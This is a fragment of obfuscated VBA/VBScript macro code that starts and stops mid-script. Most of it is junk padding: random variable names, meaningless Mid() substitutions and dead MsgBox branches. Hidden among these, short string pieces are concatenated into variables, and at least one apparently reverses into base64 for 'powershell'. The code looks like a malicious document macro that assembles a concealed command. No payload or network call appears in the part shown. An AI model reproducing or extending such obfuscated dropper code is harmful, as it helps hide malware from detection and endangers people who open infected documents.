Mid(ucjxtOb6, 17624 / 17624, 17624 / 17624) = "fox"
Dim KFWwg
KFWwg = "rASZtFmbkA"
A3MSe = KFWwg
Dim DizVAcTI
DizVAcTI = "CAf1SeJ"
If Mid(DizVAcTI, 5) = "btjfwpE" Then
MsgBox "Y59ng0zNs"
End If
Dim qyPWug
qyPWug = "jdxZj1Q5"
Mid(qyPWug, 29713 / 29713, 29713 / 29713) = "fox"
Dim OgEbCs9k As String
OgEbCs9k = "wV2Y"
Dim wopBXId3
wopBXId3 = "q3UHmbR0"
Mid(wopBXId3, 6708 - 6706, 6708 - 6706) = "fox"
Dim ILcOP5y
ILcOP5y = "dT7D1"
Mid(ILcOP5y, 6708 - 6706, 6708 - 6706) = "fox"
Dim dLaDhptFd As String
dLaDhptFd = "4Vk"
Dim wdnGbVuBw
wdnGbVuBw = "ierFl5P"
If Mid(wdnGbVuBw, 5) = "mEVbQX" Then
MsgBox "SuJPCB"
End If
Dim UaBPHl
UaBPHl = Array("XPvKTkwJF", "wlRaJt5c", "xuYJpIqgQ", "szhLq", "c0463t")
Dim sXSE5
sXSE5 = "Lf"
Dim J3wf8dz
J3wf8dz = Array("HigGT0", "r6BdgANR", "oZIru", "FkQIzHy3", "uohQ1")
Dim BF7ya3
BF7ya3 = "P9FlcTDfY"
Mid(BF7ya3, 10762 - 10761, 10762 - 10761) = "fox"
Dim RTBXl3 As String
RTBXl3 = Chr(82)
TeQ3ivuj = OgEbCs9k & dLaDhptFd & sXSE5 & RTBXl3
Dim hbxP4hQS
hbxP4hQS = "T29UZ1hcP"
If Mid(hbxP4hQS, 5) = "mWzIDA7" Then
MsgBox "jatPymB"
End If
Dim i0yqd
i0yqd = "fsn8c4A"
If Mid(i0yqd, 5) = "RzavG8" Then
MsgBox "YxYoUsbB"
End If
Dim FzxemJVgD As String
FzxemJVgD = "GazJ"
Dim gObj1HI
gObj1HI = "MDw6Zct"
Mid(gObj1HI, 2028 - 2027, 2028 - 2027) = "fox"
Dim Wny9E5fRW
Wny9E5fRW = Array("GdOnr", "zHAWkf", "DLe9U6Yn", "wsjkht7A", "bnrgOy")
Dim Hjivw
Hjivw = "SxCcI"
Mid(Hjivw, 3062 / 1531, 3062 / 1531) = "fox"
Dim Zpkj9i08
Zpkj9i08 = "XZ39G"
Dim yP63h1
yP63h1 = Array("V5f3K", "tLDBjx", "qeHEkR7O", "WCI2Ps", "qN9EKnVW")
Dim u9OWHjq
u9OWHjq = "kQ7yh6"
If Mid(u9OWHjq, 5) = "m4Gb1SK" Then
MsgBox "Mmh9indYT"
End If
Dim EeXwx8 As String
EeXwx8 = Chr(99)
YBWEiPSKw = FzxemJVgD & Zpkj9i08 & EeXwx8
Dim XXird3Kq5
XXird3Kq5 = "y3DEg"
Mid(XXird3Kq5, 20647 - 20646, 20647 - 20646) = "fox"
Dim hrvy1
hrvy1 = "P08golx"
Mid(hrvy1, 20647 - 20646, 20647 - 20646) = "fox"
Dim ccp31Zk As String
ccp31Zk = "3LvoDc"
Dim jD8jEPn4M
jD8jEPn4M = Array("zfXtTe", "zf5tnh8M", "wZCQJs", "IOJMQo", "vXcHs1")
Dim LCOd3
LCOd3 = "UWl5iH"
If Mid(LCOd3, 5) = "kyXdmuWRM" Then
MsgBox "JvmWu7"
End If
Dim gQWOUIf5
gQWOUIf5 = "fcGnSiCF"
If Mid(gQWOUIf5, 5) = "JYWPa" Then
MsgBox "pejLt"
End If
Dim OaMOKJr
OaMOKJr = "0RHa"
g9lkH = ccp31Zk & OaMOKJr
Dim wIUC5m64
wIUC5m64 = "Sn9Y0iXdb"
Mid(wIUC5m64, 15491 / 15491, 15491 / 15491) = "fox"
Dim fqi1TOj As String
fqi1TOj = "3UvRl"
Dim r1Pd2T4b0
r1Pd2T4b0 = "sR0wa"
Mid(r1Pd2T4b0, 5731 - 5730, 5731 - 5730) = "fox"
Dim SOIVDw
SOIVDw = "cBFNR"
Mid(SOIVDw, 5731 - 5730, 5731 - 5730) = "fox"
Dim XRHgK As String
XRHgK = "LsJXd"
cos1W4xr = fqi1TOj & XRHgK
Dim Melv4
Melv4 = Array("HsGvp", "lGW6X9klM", "BDARIk", "whFyUx6dk", "TxQXi")
Dim zFrovJ
zFrovJ = "HnLrasb"
Mid(zFrovJ, 6429 - 6428, 6429 - 6428) = "fox"
Dim wn4htXFW
wn4htXFW = "zl"
Dim zNLAz
zNLAz = "dauhZI"
If Mid(zNLAz, 5) = "M7TjIW" Then
MsgBox "a2UHdn"
End If
Dim GgJpXFm
GgJpXFm = "hFzyhwJ"
Mid(GgJpXFm, 2888 - 2887, 2888 - 2887) = "fox"
Dim LFSPwB0n1
LFSPwB0n1 = Array("O17egoE", "pLwHYRrO", "yGwkAzFXr", "jPFNep", "EdARo0")
Dim p8WxID
p8WxID = "3UgQ3Ylp"
fyTIqQJ = wn4htXFW & p8WxID
Dim qJH4uNl
qJH4uNl = Array("YU972ROV", "ZxjGtkvF", "M7MHKFcew", "PUgpJ", "bzExmS5")
Dim zaMrF5
zaMrF5 = "r2ObepaV"
Mid(zaMrF5, 7118 / 7118, 7118 / 7118) = "fox"
Dim yLNOHGs As String
yLNOHGs = "Q1C"
Dim kuhOgBdr
kuhOgBdr = Array("Abhvds", "XivJCsQ", "B8VSs6", "LG4Fbw", "E9F13")
Dim CQc4dV86
CQc4dV86 = "dyFGd"
Dim Bphri
Bphri = "HCG3jb0"
If Mid(Bphri, 5) = "wXRJoG7a" Then
MsgBox "GVPUl"
End If
Dim tudoqlPV
tudoqlPV = "bdA5Jf"
If Mid(tudoqlPV, 5) = "ckWoE" Then
MsgBox "EPZRjK"
End If
Dim wVUP9w As String
wVUP9w = "Tt"
p2fyIDA = yLNOHGs & CQc4dV86 & wVUP9w
Dim myB3H
myB3H = Array("AmbGMeV", "Th3ntL", "a5sJl4", "AP4vbZmOL", "DLQBlrt")
Dim R4rMvoi
R4rMvoi = "L9r6b"
If Mid(R4rMvoi, 5) = "PNa3Ih1vB" Then
MsgBox "ktHUgC7"
End If
Dim Mgl7NGZu
Mgl7NGZu = Array("BVSRnbpHg", "lwfBeA9", "RSxCR6", "PAuz71bf", "XLQOaYmFA")
Dim EoUrw8hDG
EoUrw8hDG = "yKgcCXnA"
Dim BpFgTOmA9
BpFgTOmA9 = Array("p3FnwJYk", "up4b7e", "aIUFB", "kwEfAI3i9", "PjfVpeYU")
Dim pjpP2t9RL
pjpP2t9RL = "r7vxXjS"
Mid(pjpP2t9RL, 5973 - 5971, 5973 - 5971) = "fox"
Dim UsytGS
UsytGS = Array("ZFCbW51n", "DjSZYbTQa", "UPjpu", "ffhna", "dh8vwtz")
Dim NNgcdnS As String
NNgcdnS = "yK"
WOtNFV = EoUrw8hDG & NNgcdnS
Dim GrmpfIS
GrmpfIS = "TNGsx"
Mid(GrmpfIS, 2508 / 1254, 2508 / 1254) = "fox"
Dim bIdEJXQW
bIdEJXQW = "aKzu3"
Mid(bIdEJXQW, 20819 / 20819, 20819 / 20819) = "fox"
Dim hjJH0NU5 As String
hjJH0NU5 = "CIzNXZj9"
Dim eHecv9G
eHecv9G = "ceG3Mk"
If Mid(eHecv9G, 5) = "bZfGRQj" Then
MsgBox "PFUGYBJmX"
End If
Dim UCg8O
UCg8O = "AjN0oz"
Mid(UCg8O, 10039 - 10038, 10039 - 10038) = "fox"
Dim bENTd
bENTd = Array("XDcaZij", "QSDY24Wx", "pXT4WI5", "DQ1Ni5vVX", "Ep5c8AVI2")
Dim mJZof1G
mJZof1G = "gZyzhj3p"
Mid(mJZof1G, 13159 - 13157, 13159 - 13157) = "fox"
Dim qHRosl1fd As String
qHRosl1fd = "mc"
n0GWl2maq = hjJH0NU5 & qHRosl1fd
Dim D4J1p8L
D4J1p8L = "Hx2KAT"
Mid(D4J1p8L, 13708 - 13706, 13708 - 13706) = "fox"
Dim wtOCSsha As String
wtOCSsha = "0lmc"
Dim IVcnQemKl
IVcnQemKl = "NbAI4"
Mid(IVcnQemKl, 14616 / 7308, 14616 / 7308) = "fox"
Dim GXbkFnpOL
GXbkFnpOL = "aOU0sH"
Mid(GXbkFnpOL, 16810 - 16809, 16810 - 16809) = "fox"
Dim ApqarhnS
ApqarhnS = "b4g8I"
Mid(ApqarhnS, 16810 - 16809, 16810 - 16809) = "fox"
Dim YRjy6oaNb
YRjy6oaNb = "3tH"
Dim iruciwO
iruciwO = Array("ro7yW", "NTlX4aDe", "ntwTuIe", "F82wy", "IIbHi0L97")
Dim dnVsg
dnVsg = "kAdiNkf9"
If Mid(dnVsg, 5) = "oHbdwQ" Then
MsgBox "mFaZVs"
End If
Dim u0aW23T
u0aW23T = "pqgTI"
Mid(u0aW23T, 4517 - 4515, 4517 - 4515) = "fox"
Dim MFRxN3P
MFRxN3P = "lUFqnL"
If Mid(MFRxN3P, 5) = "TRc3KvBmf" Then
MsgBox "Z4VnuzE"
End If
Dim eJHsM As String
eJHsM = "aj"
Dim UIKXvYq
UIKXvYq = Array("YKp2Vbi", "tPadjeq", "d4Z5eG", "t6x1Q", "gcp4eZ")
Dim zFHVJ81Ud
zFHVJ81Ud = "WRxzvre"
Mid(zFHVJ81Ud, -7262 + 7264, -7262 + 7264) = "fox"
Dim WN0WIV3jR
WN0WIV3jR = "lVSailDH"
Mid(WN0WIV3jR, 947 - 946, 947 - 946) = "fox"
Dim hTGLK
hTGLK = "yrkaiOe9"
If Mid(hTGLK, 5) = "bn24mBIpr" Then
MsgBox "V59fuXZ3T"
End If
Dim nXaMq As String
nXaMq = "R"
eciGZRmv = wtOCSsha & YRjy6oaNb & eJHsM & nXaMq
Dim UvBoGm
UvBoGm = "J9EoJ"
If Mid(UvBoGm, 5) = "FmBUDpVej" Then
MsgBox "ZZClLypP"
End If
Dim IZVslbtJy
IZVslbtJy = "XoANhyE"
Mid(IZVslbtJy, 943 - 941, 943 - 941) = "fox"
Dim YmEs24 As String
YmEs24 = "Gb5R3"
Dim McGO0IS
McGO0IS = Array("m6smw", "k0kPQAfd", "FX9UL", "LmyFB", "LMTWJCSs")
Dim Z7agODiG As String
Z7agODiG = "U3"
Dim KhcbK
KhcbK = "cvDTF"
Mid(KhcbK, -15408 + 15410, -15408 + 15410) = "fox"
Dim E1irZND
E1irZND = "ZLarZHEF1"
If Mid(E1irZND, 5) = "EyTIhl3" Then
MsgBox "gpJlzI"
End If
Dim PiSo5F
PiSo5F = "aVkAlXJTH"
Mid(PiSo5F, 11768 - 11766, 11768 - 11766) = "fox"
Dim b69NCq As String
b69NCq = "9GZ"
W1E2qGpS = YmEs24 & Z7agODiG & b69NCq
Dim kdYQRw2KZ
kdYQRw2KZ = Array("zjUb2", "APvFh", "DQH8Gzp", "TdV3vW", "jKJNP")
Dim P68KXI0s
P68KXI0s = "RUCPHq"
Mid(P68KXI0s, 3008 - 3006, 3008 - 3006) = "fox"
Dim v3NvpGIQ
v3NvpGIQ = "guLl1Mh"
Mid(v3NvpGIQ, 3008 - 3006, 3008 - 3006) = "fox"
Dim sWUiY5
sWUiY5 = "yJoQXasB3U"
TXc4m = sWUiY5
Dim Qqkz5
Qqkz5 = "khrEeba"
If Mid(Qqkz5, 5) = "RRoB9e" Then
…